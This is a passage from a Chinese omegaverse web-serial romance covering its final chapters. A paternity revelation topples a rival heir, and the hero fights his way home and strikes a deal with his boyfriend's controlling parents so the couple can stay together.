“说完了吗?”匙越彬彬有礼地朝他一点头:“到我了吧?” 匙越扬了扬手,示意后面的人上前来。 那人穿着一身得体的燕尾服,只不过脸上的刀疤有些骇人,刚刚一直低垂着眉眼,没让人看清他的真实容貌,此刻抬头了,倒让所有人都吓了一大跳。 “你是谁!?滚出去!”何苑看清那人的脸后,少见的疾言厉色:“来人,保镖呢!!!” “别急,等老爷看了这个再说。”明叔微微一笑,朝他们晃了晃手里的档案袋。 何苑立马想到什么,脸色唰一下地变得惨白:“不行,闵荣,你不能看!” 客厅里算上佣人有几十号人,闵荣接也不是,不接也不是。 最终他还是接了,沉着脸,打开那袋尘封的档案袋,抽出一个文件出来。 何苑就要扑上来,她惨叫着说:“不行,你不能看,不可以” 明叔身手利索地按住她,把她往后推,闵术也不再忍让,他站起身,大喊道:“你干什么!保镖!!!” 顿时,外面乌泱泱进来一群穿着黑色制服的保镖,桌椅外斜,在地上拖出刺耳的划声,其他人见状要打起来了,赶紧起身去劝。 “这是干什么?” “都冷静点,看大哥怎么说。” “天啊” 旁边明叔一脚踹飞一个,还推了一下何苑,她顿时摔在地上了,发出一声声惨叫,吸引了全场人的注意: “啊——匙越打妈妈啦,我好惨啊,匙越打我,果然不是亲生的就这么对我,以后闵家怎么能放心交给这种人啊” 闵术顿时哭丧着脸,擦着泪去扶她:“妈” 这场闹剧让闵荣心生厌烦,他坐在椅子上,眉头紧皱地翻开那本写着《亲子鉴定报告书》。 一栏栏介绍看过去,依据概略、检案摘要、鉴定进程、鉴定数据最后,在那一页写着鉴定结论: 亲权概率(RCP)为 0%。 “这是闵术和你的亲子鉴定。”匙越站在他旁边说道。 倒在地上的何苑的哭闹声戛然而止,她发出一声尖锐爆鸣,取而代之一张惊慌失措的脸,顾不上仪态,在地上瞪着腿着急地说: “那个鉴定书是假的!不是那样的!” 闵荣沉着脸,一步步走向她,他今天才惊觉,闵术这个儿子处处都不像他,性格不像,长相更是不像,以前都是认为他长得和他妈比较像,但是现在看来分明就不是他的儿子。 “闵术不是我的孩子?” 何苑此刻还在慌乱地拽着闵荣的裤脚说:“你听我解释,你听我解释” 闵荣一把挥开他:“还解释什么!?” 她这幅惊慌失措的模样已经是最有力的佐证,他愤怒地一把将那本册子摔在她的脸上,指着她的脸让她一瑟缩: “你自己看!!!这是什么!?” 匙越站出来,冷冷地说:“当年,你为了她,把我妈赶出家门。” “你以为何苑怀了你的孩子?而你不会想到,那时候你把我妈赶出家门的时候,她也怀了你的孩子,何苑的孩子根本就不是你的,而我妈妈怀着我却到处都没有去处,只能去东城苟活,要是没有祖宅庇佑,她和我早就死了!” 其他人看着这突然的变故错愕无比。 “闵术不是我的孩子?”闵荣掐住她的脖子,目目呲尽裂:“这到底是怎么回事!?说话!!!” 他想到她的发妻,那个温温和和总是好脾气的女人。 那时候把她赶出去的时候,她还怀着孕。他当时却不知情,纵容着何苑把她赶出去了。 “何苑你你” 闵荣心脏抽疼,突然气喘不上来几句,整个人往后仰。 周围冲上来一堆人围住他们: “大哥!” “大哥你没事吧?” 何苑倒在地上咳嗽不止,闵术接住他妈,和他妈跪在地上,闵术既惊慌又仇恨地看着匙越,眼眶湿红,咬牙道:“你别得意” “我已经告诉隽云爸妈了,你把隽云藏起来了,你把他带到你家里住,你以为你能瞒天过海?我告诉你,他爸妈马上就带人到东城区,你这辈子,都别想和他在一起!” “你说什么!?”匙越大怒。 他愤怒地抓过闵术,提起他的衣领:“你敢挑衅我?” “如果隽云出事了” 闵术撑着胆子吼道:“你想干什么!?你没有权利对我做什么!杀人” 他嗫嚅道:“杀人犯法杀人犯法” 匙越看着他,突然阴鸷无比地说了一句:“你可以试试。” 闵术内心一颤,匙越看他的眼神,就像是在看一个毫无生机的垃圾 匙越把他狠狠丢在地上,刚才闵术说的那一番话已经让他没有心思再在这所别墅逗留。 经过闵荣身边的时候,看着被气的心脏病要犯了喘气不止的闵荣,他眼底的凉薄掩盖不住: “我才是你的孩子。” 今天这么多人在场,事情藏不住的,他最好尽快召开记者招待会,承认他的合法且唯一继承地位。 他大踏步出了客厅,明叔在后面赶来:“现在去哪?” 匙越拨打了隽云的电话,没打通,他又再次打过去,看似神色冷静,但是明叔看到他的额头上沁出一层薄汗。 刚才还堪称稳定的人此刻手微微颤抖,匙越步伐迈的很迈大,走的很快。 “嘭”一声,车门关闭。 匙越简要和司机说:“去东城。” 他打了个电话给他的小弟,“嘟”一声后便很快接通了:“喂?老大” “去我家,看一下我家有没有人在。”匙越顿了一下:“多带几个兄弟,如果发现有陌生人,不用顾忌什么,直接动手。” 对面的小弟还在问:“什么事啊老大,这么突然?” 废话太多,匙越怒吼,脖子青筋暴起:“快去!!!” 那人顿时一激灵,赶紧“诶”了几声,然后挂了电话。 匙越把手机砸在地上,额角青筋暴起,爆了句粗话。 有人要和他抢隽云。 明叔看他这样,安抚他:“好了,他也没有你想的那么脆弱,而且那是他爸妈,不会出什么事的。” “他们想把他从我身边带走。”匙越挤出这句话。 明叔脸色也不是很好看:“没想到,他们比我们计划的时间还要早找上门来。” 他们拿捏着闵术和何苑的把柄,但是还是低估了他们的阴险程度,没想到关键时候,闵术向隽云的爸妈告密了。 “我们的计划”匙越:“现在提前。” * 东城区去西城区要一个多小时,他们赶到的时候院子大门已经被人打开,门外站了许多黑衣保镖,见到匙越,他们拦住他: “这里不让进。” “滚!!!” 匙越面色沉的能滴水,眼眸阴暗一片,旁边的明叔推开拦着他的人,那些人见是个硬茬,纷纷围上来堵他们。 看不到院子里的情形,突然,里面爆发出一阵骚动,有几个人拿着棍子从里面往外面破开来,把人踹开,又一棍子砸在人的头上,把拦在匙越面前的人砸晕了 身后的几个小弟露出脸来,和匙越碰了面,他们收棍,惊喜道: “老大!” “老大!” “老大你来了。” 隽家的保镖一个接二个地冲上来,匙越按响手指头,转了转脖颈,神色不耐烦地一拳打了过去,正中那人的腹部。 那人睁大眼睛,嘴角流出一丝献血,手里拿着电棍,很快就倒在地上抽搐不止了。 匙越面无表情地松松手,转头问小弟们:“隽云呢?” 在他们回答他的问题之前,里面率先传出来一个声音: “隽云不在,而你,把他藏哪去了?” 从屋子里走出来两个人,一个人头发乌黑一丝不苟,戴着金丝眼镜,另一个女人面容精致,两人都板着脸,看上去十分严肃,他们上下打量匙越。 女人开口:“你就是匙越。” 他们之前就暗中派人查过这个靠近隽云的人,不过只能查到他在东城区生活,具体做什么、身世却什么也查不到,从那时候起,他们就知道这小子绝非善茬了。 后来闵家认回他,隽诉和元青有点在意料之中又在意料之外。 他还真的是有点靠山的。 不过闵家 隽诉冷哼一声:“把隽云交出来,我可以不暂时追究你的责任,否则,我要和闵荣坐下来好好谈谈了,毕竟,是他的儿子亲自告诉我们,隽云正和你在一起。” 也就是说,他们没找到隽云 隽云不在家里? 匙越率先理解到这个信息—— 作者有话说:评论区发小红包[撒花] 第90章 第九十章 “你是我的。” 元青:“我想, 你该给我们一个解释。” 匙越按下内心的惊涛骇浪,冷笑一声:“找不到隽云你来我这找?元董事长是看不起隽云的同班同学,还是看不起闵家” 他戛然而止, 因为他看到大开的屋子里走出来一位头发半白身着一丝不苟的男人,看模样打扮应该是他们家的管家, 他戴着白色手套,拎着几袋东西,而那些东西都是隽云带过来的日常用品。 也就是说他们在他不在的情况下, 擅自闯入他们家, 还把隽云的东西收拾了准备带走。 那一瞬间,匙越甚至能体会到隽云长达十八年来面临的监视欲和掌控欲。 但是如今隽云不在。 他冷静的看着他们俩:“或许我们可以谈谈。” * 白天的酒吧还比较冷清, 没有开七彩的灯光球,甚至也没有放锣鼓整天响的音乐,室内灯光昏暗, 吧台上的调酒师见他们进来,拿老式唱片机给他们点了一首古典音乐。 隽云没想到有朝一日他还能坐在这里。 而他以前也更想不到会和谁坐在这里。 桌上放上来一瓶饮料,椅子被拉开,对面那人神情淡漠,打量周围:“为什么约这种地方?” “因为还算比较熟悉。” 隽云接过陆思华递来的一杯苹果汁。 “很难想象, 你居然对这种地方熟悉。” 陆思华垂眸打量他, 本来是想找出他消瘦憔悴的证据,结果发现他脸颊饱满,十个手指头干干净净没有一点粗糙的劳动过的痕迹,人和之前一样,甚至比之前还稍微胖了一点。 他似乎过的还挺好。 只是眼睛有点黑眼圈,不过之前有一段时间黑眼圈更严重就是了。陆思华不动声色地收回视线。 “也就来过一次而已。” 隽云不知道他为什么口气像是觉得他来这种很糟糕的地方一样——虽然确实有点糟糕。 酒吧——这种鱼龙混杂,抽烟喝酒划拳还涉及点黄色的混乱地方, 他以前从来不来的,现在也可以说是堕落了。 对象是混的人,他好像连带着也变成混的人了。 没说什么,他只能接受现实了。 取下戴着黑色的口罩,接过他递来的苹果汁,喝了一口,隽云有礼貌地说:“谢谢。” 鉴于这里的鸡尾酒在陆思华眼里看起来不正规,调酒师不是拿国际技术大赛奖的大师,用的酒不是顶尖的酒,果子也不是提前三个小时新鲜采摘的水果,因而这家酒吧他觉得三无不正规,鸡尾酒不屑喝,果汁他不喝,于是就只要了一杯白开水。 陆思华喝了一口热水,问他:“接下来打算怎么办?” 隽云摇摇头,说实话,他也没有想好要怎么办? 要不是陆思华告诉他爸妈要来了的消息,恐怕现在他已经回到隽家了。 从家里出来的时候手机快没电了,只匆匆看了眼匙越的定位还在城市的西边,离他很远,就没给他发消息了,免得他还要赶回来。 不知道匙越现在有没有回东城区。 而且如果匙越回来了到处找他,他在他的酒吧里,他也能很快找到他,所以他才选定了这里。 隽云这么想着,心不在焉地喝饮料。 陆思华叹了口气,手机亮了个屏,他点了几下,划了几下,然后把手机倒转方向,推给他看: “你爸妈在东城区的项目资金周转上出了问题,现在正急于脱手东城区的项目。” 隽云看着上面的新闻。 大概内容是因群众拒不配合拆迁动工土地,所以铭升集团项目开展十分艰难,很多人评价这次隽家马失前蹄,压错宝了。 还没赚到钱首先就要赔钱。 隽云从小就被培养成企业家思维,他心想,现在最好的办法就是把这个事情外包给其他企业去做,但是如今这个事情闹的风风雨雨,恐怕没有企业敢接手 隽云静静看着,突然想到什么,否定了刚才的想法,不,其实还是有一个企业能接手的。 闵家。 闵家和隽家在房地产产业这块旗鼓相当,只不过隽家看不起行业新贵闵家,甚至排斥闵家,因而要元青和隽诉主动寻求合作的话,大概率不太可能。 陆思华点点手机屏幕:“你觉得如果匙越回来后发现你不在,拿这个去和你爸妈谈判,有几成概率?” 隽云摇了摇头:“说实话,我也不知道。” 匙越没有被公开承认,说到底,他其实还游离在闵家外层,开发东城区这么重要的事情闵荣怎么会由匙越说了算? 陆思华:“你知不知道今天下午闵荣出事了?” “什么?”隽云一愣。 “闵荣今天下午送医了。” 重磅新闻一个接一个。 隽云晃了晃:“是什么原因?” 陆思华:“心脏病复发,送到我家心血管内科私人医院来了。” 隽云想到今天中午,匙越回闵家了而下午闵荣送医 医院是他家开的,拥有一手消息的陆思华告诉他:“应该是他们家内部的事情,家事。但是具体我就不清楚了。” 隽云脑子缓慢地转了转,所以,到底发生了什么事,能把闵荣能气的心脏病复发进医院了? 匙越和他爸互相防着其实并不对付,该不会是匙越把他爸气进医院的? “那匙越去医院了吗?”隽云问陆思华。 “没有。”陆思华说:“他没去,陪同闵荣的另有其人。” 陆思华安慰他:“不用太担心,他应该回这边了,恰好你爸妈来了,刚好借这个机会,他可以和你爸妈谈谈,毕竟” 他话语一顿,面无表情地说:“他应该是真心喜欢你的。” 面对陆思华苍白无力的安慰,隽云只能说:“谢谢。” 坐了一会儿,又问他:“你为什么告诉我这些?” 告诉他他爸妈会来,又告诉他闵家的事情。 其实他已经做好了准备,陆思华会他断了这十几年的交情,甚至可能以后都不想和他有关系了,毕竟是他逃婚毁约在先,隽云能理解陆思华为此做的一切决定。 只是没想到他会帮他。 陆思华似乎看穿了他的疑惑,笑了一声:“我说过的,我们两个很像。” “帮你也是在帮我自己吧。” 喃喃道:“我爸娶了不爱的女人,我哥也娶了不爱的omega,我也即将” 他的目光和隽云对上,隽云理解了他话语的意思,率先移开了视线:“抱歉。” “不用道歉,”陆思华扯扯嘴角:“毕竟我们享受了财富,权利,总要付出点自由作为代价不是吗?” 隽云深有感触,曾经他也这么以为。 “曾经我以为我们俩是一样的,对未来没有抗争,只能听从他们的安排,每一步该做什么决定,全权由他们来安排从小到大都是这样,所以我也不敢多争取什么。” 他说:“从你逃婚之后,我就在想这件事情了。” 陆思华笑笑,他有点伤感地说:“其实我是一个很懦弱的人。” 酒吧里人不多,不过下午三四点天就已经昏暗了,台上放着古典的音乐戛然而止,取而代之的是上台弹吉他的民谣歌手。 阴沉的天空,外面雪花缓缓飘下,室内开了暖气驱散了冷意,配上暖黄灯光下,和三五群零散坐在桌椅上的人,倒显得很有情调起来。 “虽然很不愿意承认,但不得不说,匙越这种人更适合你。” 匙越,和他以及隽云是截然不同的人,陆思华心想,匙越是只给他一次机会也要跑着去争取隽云的人,而他有一千次机会,却只会站在原地,注视着隽云的背影。 就在这时,门口传来嘈杂的声音。 隽云背对着门口坐着,看不到几米之外发生的事情,门外的人闯入陆思华视线中,他突然语速有点快地说: “其实如果不是因为他的出现,我甚至都不会想告诉你我喜欢你。” 几乎是话音刚落,隽云就被人拉起来了。 “!?” 那双手他无比清楚,攥着他的小臂,似铁钳似地牢牢攥住他,却又让他感到温暖安心,隽云沉寂下来的心一下又一下咚咚咚地极速跳动,碰撞胸腔。 隽云眼里闪过一抹亮色,转头看到了匙越。 他真的来了。 匙越穿着一身黑色立领棉服,带着白色雾气的呼气声在他鼻尖一闪而过,头发上落了雪,眼眸垂着看他,因为恰好听到那一句陆思华的表白,眼里还带着似笑非笑的兴师问罪的意味。 隽云话语里带着他自己都察觉不到的轻快,音调上扬: “你来了?” 陆思华把杯子嗒在桌子上发出轻响,他表情淡漠,也跟着站了起来。 alpha们身高腿长,气势沉沉,面色不善地互相打量,隽云隐隐感觉到气氛不对,他们像是在暗中较量着什么。 匙越握着隽云的手,把他往他自己身后扯扯。 虽然知道可能是陆思华把他带出来了所以隽云爸妈才没有找到隽云,但是匙越还是要说一句: “你想因为这样让隽云接受你的表白,那是不可能的。” 隽云吃惊:“你在说什么?” 陆思华眉心竖起,两个人的气势剑拔弩张,似乎下一秒就要打起来了。 隽云反应过来是匙越误会了,陆思华刚才没有那个要他接受表白的意思。 “匙越,你误会了。” 隽云直来直去,他选择帮陆思华解释,他探出一双手横在匙越面前,把气势汹汹前进一步的匙越按了回去。 匙越的气势瞬间落了下风,他脸色黑了下来。 陆思华朝他扬了扬下巴:“你输了。” 隽云:“?” 什么输不输的? 他在匙越和陆思华身上看了一个来回,匙越的表情晦暗难辨,气氛凝固中,隽云无奈地牵住了他的手。 匙越的视线缓慢顺着他的脸,滑到隽云牵他的手上,五指动了动,轻轻地回扣。 隽云的手有点凉。 很快,他就松开了眉头,朝对面那人冷嗤一声:“算了,输就输了况且,你也就赢这一次了。” 这回换成陆思华的脸色难看了。 “隽云我带走了,饮料我请了,想喝什么自便,我付钱。” 当着隽云的面,匙越甚至还能算得上彬彬有礼地朝他一点头。 然后他拽着隽云出去了。 陆思华跌坐回凳子上,他看到酒吧门口乌泱泱站着一群人,那些人面有凶相,看上去非常不好招惹。 有几个人他甚至还在报纸上见过几次,是出了名的带头闹事阻挠开发的地痞无赖。 而此刻他们都排排站着目送隽云和匙越牵着手离去 雪花缓缓落下,匙越撑开一把黑色的大伞,手腕上黑色质朴的电子手表从袖口中漏出一角,像是手铐。 匙越另一只手牵他的手很紧,走了一段路,隽云探过头问他:“你生气了吗?” “没有。”匙越舒出一口气,牵着他的手,转头问他:“冷不冷?” “还好,不冷。”隽云吸了吸鼻子。 说实话他很少在雪地里这么长时间地走路,从酒吧回匙越家里差不多十五分钟,要是他在隽家,路程十分钟司机也会开车送他去。 匙越默不作声地把隽云的手放到了他的衣兜里,那样比较暖和。 “你碰到我爸妈了?”隽云问他。 匙越知道隽云很聪明,他从东城区赶回来的时间和他爸妈来的时间差不多,而且现在过去这么久了,他估计也和他们谈好了。 “他们怎么说?” 隽云心想,该不会要他们分手吧? 匙越:“你爸妈拿出一个亿来,要我和你分手。” 隽云的心咯噔一下,果然,他爸妈是要他们分手的,他们看不上匙越这个穷小子。 心想匙越该不会答应了吧? 毕竟一个亿。 不是有句话是那么说的,穷过的人最会珍惜来之不易的钱了,要是匙越答应了怎么办? 就在隽云脑子里纷繁复杂,盯着匙越的眼神越来越复杂 匙越终于忍不住说:“骗你的!你爸妈没说要给我一个亿。” 也就隽云这种从小到大没看过狗血剧的乖孩子才信他的话了。 “那如果说了呢?”隽云很忧虑地想到这个问题。 “说了我也不同意。” 隽云这才稍微满意。 但是 隽云又想到另外一种可能,匙越回到闵家后现在身价倍涨了,说不定不要那钱是看不上那一亿了呢? “那如果给你十亿,你会答应吗?” 隽云冷冷看着他偏过半张脸去,肩膀起伏在憋笑:“别笑了。” 匙越声音还带着点笑意:“不会的。” 已经把他的手捂热了,匙越在口袋里捏了捏他的手心,他又强调了一句: “你是我的。” 所以给多少钱都不卖—— 作者有话说:大概还有两章就要完结了,番外看情况应该也有个两三章[眼镜]《 》 第91章【VIP】 第91章 第九十一章 “永远在一起。” 迎着风雪回去的时候已经差不多要到饭点了。 匙越开门后, 先让隽云进去了,然后把门关上,隽云打开房门的时候, 目光先聚焦在了沙发上摞着的一些东西,其次是屋内混乱的环境——东倒西歪的桌椅、被抽出抽屉的柜子, 包括柜子里的东西,全都被翻乱了。 沙发上工工整整放了他的东西,有他的书包、还有几个大的工艺布袋, 走过去, 打开一看,里面装满了他的厚重的棉衣还有一些其他衣服。 再推开卧室门, 隽云发现卧室里面关于他的东西都被扫荡一空,小兔子闹钟不知道什么时候在地上躺着,隽云把它捡起来, 擦干净然后摆正了。 一转身又看到衣柜门大开,好几件衣服被扯出来了,在衣柜的夹角上挂着,凌乱地垂下来,到处都是被翻乱的痕迹。 几个纸箱子也被打乱在地, 一堆毛钱球、钩织针, 还有小孩的旧衣服倒在地上。 隽云走过去,安静地把那些东西捡起来,放回盒子里。 “想吃什么?问你怎么不说话?”匙越走进卧室问他。 他刚刚有叫他吗?隽云在想事情没注意,他恍惚了一下,然后说:“我想吃炒鸡蛋。” “好,我去做。” 匙越揉了揉他的头发,然后脚步声逐渐走远了, 去厨房做饭。 隽云把屋子里凌乱的东西摆放整齐后,又把他的东西拿回卧室里。 厨房是半开放式的,他推开门的时候只觉得冷风阵阵,铁栏杆没装窗户,只拿几个很大的泡沫盖子挡着风。 匙越的手骨节发红,那双手骨感很重,牵过他的手抚过他的腰,如今正戴着黑色的帽子,一只手插兜里另一只手单手拿铁锅铲翻菜。 匙越做饭做的专心致志,突然后面贴上来一个人,腰上一重,他低头看到一双手环过他的腰。 隽云的额头抵在他的背后。 “怎么了?”匙越低声问。 “我爸妈是不是真的和你说什么了?”隽云很突然地说,语气听起来有点失落: “他们威胁你了?” 他爸妈闯入匙越的家并且把匙越家的东西都翻乱了。 匙越翻炒着鸡蛋,沉默了一会儿,他扒拉滑散的鸡蛋,说:“你妈妈说我太自私了,你要回星耀读书,你要读国外顶尖的学校,你要通过联姻来巩固隽家的产业,但是都被我毁了。” 隽云抱着他的手收紧了:“不” 不是这样的。 隽云下巴绷紧:“我去和他们说。” “你要说什么?”匙越被他抱着,缓慢移动,腾出手去拿餐盘,然后准备把锅里面的炒鸡蛋倒在了盘子里。 “我可以”隽云的脸埋在他的羽绒服里,后半句话显得有点难说出口:“我可以去求求我爸妈。” 只是他还从来没有求过别人,即便那是他爸妈,他想他需要做一些心理准备 匙越原本正倒着菜,听到他的话,动作失误,一小块鸡蛋从锅里面飞了出来。 隽云没看到,他开始胡思乱想。 是吧是吧 他爸妈果然对匙越说了很重的话,还把他家里翻乱了,最后没找到他只能无终而返。 他爸妈真的对匙越很过分。 “我不会让你走。”匙越背对着他说。 匙越把他的手拿下来了。 隽云的眼皮一跳,他解释:“我也觉得我爸妈这么做挺不好的,他们要是对你说了什么不好的话,我替他们向你道歉。” 没有预想中的被拉开距离。 匙越转身抱住他。 羊绒外套和黑色的羽绒服对撞,被无限压缩,两颗热融融的心脏距离相贴,体温传递过来,很暖和。 不是预想中的情节,隽云缓缓眨眼:“嗯?” 他看不到匙越的表情,只能看到匙越的声音有点哑,喉咙里像堵了团棉花:“不用你去求。” 隽云恍然感受到一种似乎是叫心疼的情绪传递过来,侧过脸压在他的胸膛,低低地“嗯”了一声。 他不在乎谁付出多一点,但是匙越也为他付出了很多,所以他不介意暂时放下一点自尊和傲气,向一直想把他捆绑在身边的父母低头。 等匙越稍微松开他一点了,隽云就问:“那他们是怎么说的?” “我有做一些事情” 匙越不太想把这些事情说的那么仔细,因为他指使做的全是一些恶事,只模糊地说: “总之就是让铭升集团的项目难以开展。” “然后,我再以闵家的名义站出来接手东城项目,帮他们度过难关。” “但是这些前提我有一个要求,就是要同意我们在一起。” “你爸妈答应了。” 匙越说:“毕竟没有任何一家企业敢接手东城区这个烂摊子,只能有之对标的荣华集团伸出援手,表示愿意接收这个项目,愿意合作共赢,对他们来说是利益最大化的救星了。” 隽云很快又觉得不对:“但是你爸还有你的继母会同意你接手铭升集团的项目吗?” “会同意的。”匙越轻轻抬起他的下巴,看着他的眼睛说:“闵荣今天被气进医院了。” “不过没多久就苏醒过来。”他有点遗憾地说。 隽云:“什么原因?” 匙越的语气毫不在意:“因为他发现闵术不是他的亲生儿子。” 这个消息,哪怕隽云和闵术不熟,一听到也愣住了。 他知道匙越和闵术关系不太和,很多次都看到他们一前一后地出现,以为是家产分割又或者闵术他妈和匙越妈妈的问题,但是没想到是匙越单方面抓住了他们的把柄。 “那么现在” “那么现在,”匙越重复他的话,认真地说:“我就是闵家的唯一继承人,这么多年我失去的,闵家要弥补给我,而我首先提的第一个要求就是,东城区必须由我来接手。” 所有事情就通了,那些横在他们之间悬而未解决的事情,就都能有结果了。 隽云扑进他的怀里,语气里难掩喜泣:“太好了,我们能在一起了” 他们终于能名正言顺在一起了。 “是啊,我们在一起。”匙越抱紧他,脸埋在他的颈窝里,呼吸灼热:“永远在一起。” 等他们接吻结束后,炒鸡蛋都凉了,隽云被匙越一把抱起,放到客厅的沙发上。 他坐着,双腿被分开了,匙越蹲着在他的腿间,手搂着他的腰让他的腿紧密夹着自己的腰,从下而上密密地和他接吻,接住他吞咽不及时涎下来的几丝唾液,甜甜的。 隽云喉结滚动,从混乱和酥麻中找回一丝理智,舔了舔唇,匙越的吻有点凶,嘴唇又麻又痛,他艰难地把匙越的脸推开,挤出一句话来: “去做饭” 现在已经不早了。 他们要是真的了,那今天晚上估计都吃不上饭了。 匙越也知道他的本性,追着他啄了两口,放在脑后的手在他的后脑勺上揉了揉,把他的头发揉乱了,然后这才放过他,起身去做饭。 隽云看着厨房的门“啪叽”一声关上。 “”抿了抿发红肿胀的嘴唇,隽云抬手摸了一下脸,还有点发烫。 等了一会儿,厨房的门还没开,估摸着匙越可能要做很多菜,稍微冷静下来后,隽云把平板从包里拿出来。 翻到之前预习的地方继续往下接着看。 要是放往年,他爸妈会给他请一对一私教,专门在书房学几个小时,除了学科私教课,还有钢琴课这些艺术类、商业经济学这些课程。 每天安排各种课给他上,满满当当塞满他的娱乐时间。 不过来匙越家里后,家庭条件有限,他就带了五百万出来,买了一些生活用品加上几十万的几件衣服和监控手表,现在卡里穷的只剩下两百万了。 他想省点钱,就没有上过什么培养的私教课了,一直自学着。 隽云学习很有定力,顺带把上学期的知识也复习了一下,相信凭借他的自学能力也一定能在下学期的开学考试上拔得头筹。 厨房热火朝天,客厅里相对安静静谧,只听得到电子笔在平板上触屏写字的细微声响。 匙越端着几碗菜进门的时候就是看到的这幅场面,又折返回去端了碗汤出来,还有饭,放在桌子上。 匙越叫他:“过来吃饭。” 隽云穿上拖鞋过去,拉开凳子坐下,他接过匙越递来的筷子和米饭碗,脸上还带着点嫣红地吃饭了。 没吃几口,匙越给他夹菜,没吃完又来几块肉,勉强吃完后,碗上又赫然被放了几块肉。 匙越:“吃肉,别光吃青菜。” “” 隽云觉得他有点烦了,不知道从什么时候开始,匙越管他很多。 但是这种小事上不想和他有什么争执。 吃就吃。 匙越胳膊撑在桌上看着隽云吃饭,隽云的单眼皮微微上扬,眼睑下方有小卧蚕,眼睫长而垂下来平直,显得漂亮但很淡漠,鼻梁挺直,唇形不厚——不过亲起来倒是很好亲,软的,唇角还有点红,可能是刚才亲的太用力了,差点把他嘴唇咬破。 隽云吃饭张口闭口都十分优雅,嘴巴里还有饭菜的时候绝不张口说话,甚至吃下一口的时候筷子上都没有沾上米粒,非常有吃相。 就是吃的太慢了。 匙越的视线落在他拿碗筷的手上,露出来的一截手腕纤细,拇指和食指就能捏起来。 还是很瘦。 得好好喂要是能喂一辈子就好了。 “?” 就在隽云察觉到匙越看了他很久,眼皮一掀眼皮看过去的时候,匙越假装漫不经心地收回视线,轻咳一声,也开始吃饭了。 吃完饭后,匙越把剩菜剩饭还有碗筷都拿到厨房去处理,顺便把碗洗了。 厨房里丁零当啷地传来洗碗的声音,很积极,很热情,很热闹。 隽云听着白噪音窝在沙发里看了一会儿书,没看多久,手机在口袋里震不停,只能作罢,从兜里掏出手机。 解锁屏幕看了一下消息,有好几个未读的红点,有出自文强发来的国外滑翔的照片,还有柳元誉突然发过来的一张照片。 一只大半缩在病号服袖子里的手很瘦小,指节微微弯着,搭在另外一个相对来说宽大的手心上,角落里有轮椅一角,地上散落了一地的银杏叶。 很唯美的照片。 而在此之前,他们没说过什么话。 很突然- 云:? 隽云很快又收到了文强发来的十几条接连轰炸的皆为带着感叹号的消息。 不用点开,隽云也知道文强应该也收到了这张,柳元誉无差别攻击朝所有人都投放了照片。 做了一下心理建设,隽云点开未读数量堆积如山还在增加的聊天框,浏览了一下文强情绪强烈激动情况下说了什么。 大概内容一是怀疑这是网图,二是不相信柳元誉这狗东西居然真的给他谈上了。 女生脑子进水了吗看上他???——这一句话被撤回了,想来是想到方悦礼被人推下冰冷的河水里还开这种玩笑实在是不合适。 消息还在源源不断地发过来,大概文强还要说好一会儿,隽云就先点了消息免打扰。 世界安静了。 退出和他的聊天框,看到有个他无比熟悉的头像框后面也跟了一个红点。 发消息的人是元青——他妈- 妈妈:明天下午,我会派人来接你,做好准备。 隽云的心顿时沉了下来,刚想回不用了他过的很好,很快元青又发来消息:- 妈妈:我们联系闵荣,达成了初步共识。 —妈妈:下午也已经和那孩子谈过了,聊的不错。 隽云心猛地一跳,以他对他妈妈的了解,话说到这个份上已经是意味着让步了,并且潜意思是同意他们在一起了,否则不会有最后那句话—— 作者有话说:不会洗白什么搞阖家团圆噢[墨镜] 还有一章本来要一起放出来的但是还要再润色一下[眼镜] 评论区发在一起了的汤圆红包[撒花]《 》 【完结】 第92章 第九十二章 “我愿意。”…… 不过下一秒隽云刚稍微松动的表情很快又凝结成霜- 妈妈:你现在必须回家, 天天住在一个alpha家里算什么样子? 隽云好久都没回她。 她似乎也在等他的消息,察觉到是她语气太生硬,又换了一个命令:- 妈妈:明天我就派司机过去接你- 云:不回去- 妈妈:那时间就定在后天。 这没商量的口吻。 隽云:“” 无视了元青又发来的一大段他们都是为了他和隽家好才让他先后和叶馨言陆思华联姻的话, 干脆没回了,他放下手机, 脚踩进拖鞋里去找匙越。 门开了一条缝,隽云探出头去问匙越:“你还在洗吗?” 匙越把稍微有点厚重的外套脱了挂在墙上,高领黑色毛衣的袖子卷上去了一点露出精壮的手臂, 胸前带了个粉红围裙, 手里还拿着筷子在搓洗。 见隽云来了,匙越一边搓洗一边说:“快洗好了。” “噢”隽云的视线落在他熟练的动作上, 然后就站在门口看着他洗碗。 匙越换了一盆水,在接水的过程中看了他一眼:“进去吧,这里冷。” 隽云抿了抿唇:“我妈说后天会派人来接我。” 匙越:“后天?” 匙越的表情淡下来, 眼里拢着的一点笑意散去,他皱了皱眉,觉得这太快了。 隽云才在他这里住了一个月而已。 “我要回去吗?”隽云轻轻问。 说实在,住了这么久,他也有点舍不得这里, 舍不得匙越。 但是总有一天他会回到隽家的, 他到底还是隽家的继承人,回去只是时间早和晚的问题而已。 “我们回去之后也可以经常见面。”隽云低低说。 如果匙越和他爸妈真的达成了协议,那么他们以后想要再见面也会轻松的多。 不过东城区去他家路程有点远,他家在市中心,匙越每天貌似挺忙的,白天要忙东城和闵家的事情,晚上还要学习了, 可能没有很多时间能和他在一起了 想到这里,隽云有点不高兴。 还有,家里的那些监控 如果真的回去了,还能出来和匙越见面吗? 见隽云不开心,匙越加快了洗碗的动作,然后把碗筷的水甩了甩甩干,然后放到柜子里面。 推着他往里走,顺手把厨房的灯关上了,门也合上。 隽云被他推着背,转过脸问他:“怎么办?” “这次可以回。”匙越的双手搭在他的肩膀上,语气似乎风轻云淡:“没关系的。” 卧室房门关上,一转眼,隽云就被他抱住,他缓缓眨了眨眼,感受到抱着他的力度在逐渐加重,这个人这么焦虑,这么不想他走,却还在安慰他。 匙越故作轻松:“回去也挺好的,你家条件比我这里好。” “回去没关系的,这次你爸妈应该不会食言。明天我就会让人放出隽家和闵家合作的消息,你爸妈不会轻易反悔的,不然东城区项目开展不了。” “回去没关系的。”他的手在他的背上摩挲,像是确认他还在:“他们需要闵家的帮助,我们还是能在一起。” “况且我帮助隽家,但是对他们只有一个要求”匙越的脑袋埋入他的颈窝里:“那就是你。” 隽云的心脏重重一跳。 “嗯。”他回抱住他,让匙越确认他还在。 隽云被他推到床边坐下,匙越半撑着膝盖俯身看着他的眼睛,认真地说: “隽云,我们会永远在一起的对吗?” 隽云突然笑了笑,觉得他很有意思,好像在安慰他,但是自己也患得患失,心里好像也被注入了一些勇气,在匙越不安的举动中却觉得安定下来,那些不安躁动的因子被抚平,心里都装满了另一个人。 “我们会永远在一起。” 被亲吻双唇的时候,隽云还有点分神地想着刚才堪称告白的话,直到一个微微冰凉的东西顺着他的衣摆探入,摸到胸口的时候激的他抽了一口气。 